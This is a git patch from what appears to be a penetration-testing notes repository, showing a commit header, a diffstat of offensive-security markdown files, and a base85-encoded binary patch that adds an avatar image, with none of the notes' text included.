From 4d051c3f19589e399e1b9e09aba028414e8bd637 Mon Sep 17 00:00:00 2001 From: Sam Freeside Date: Thu, 1 Feb 2024 04:19:39 +0300 Subject: [PATCH] [AHK] Automatic update :alien: --- .gitbook/assets/avatar.png | Bin 0 -> 66332 bytes SUMMARY.md | 1 + expdev/bof/osed-sehof.md | 19 +- expdev/windbg.md | 187 ++++++++++++++++++ .../ad/credential-harvesting/ssh-clients.md | 1 + .../infrastructure/ad/lateral-movement/rpc.md | 2 + .../infrastructure/ad/post-exploitation.md | 9 + .../privileges-abuse/seimpersonate/README.md | 9 + .../infrastructure/ad/token-manipulation.md | 2 + pentest/infrastructure/networks/README.md | 11 +- pentest/infrastructure/persistence.md | 1 + pentest/infrastructure/post-exploitation.md | 1 + redteam/maldev/code-injection/README.md | 29 ++- 13 files changed, 261 insertions(+), 11 deletions(-) create mode 100644 .gitbook/assets/avatar.png create mode 100644 expdev/windbg.md diff --git a/.gitbook/assets/avatar.png b/.gitbook/assets/avatar.png new file mode 100644 index 0000000000000000000000000000000000000000..3b22ed406b4669b53b3ad6ee0f5657042baced04 GIT binary patch literal 66332 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 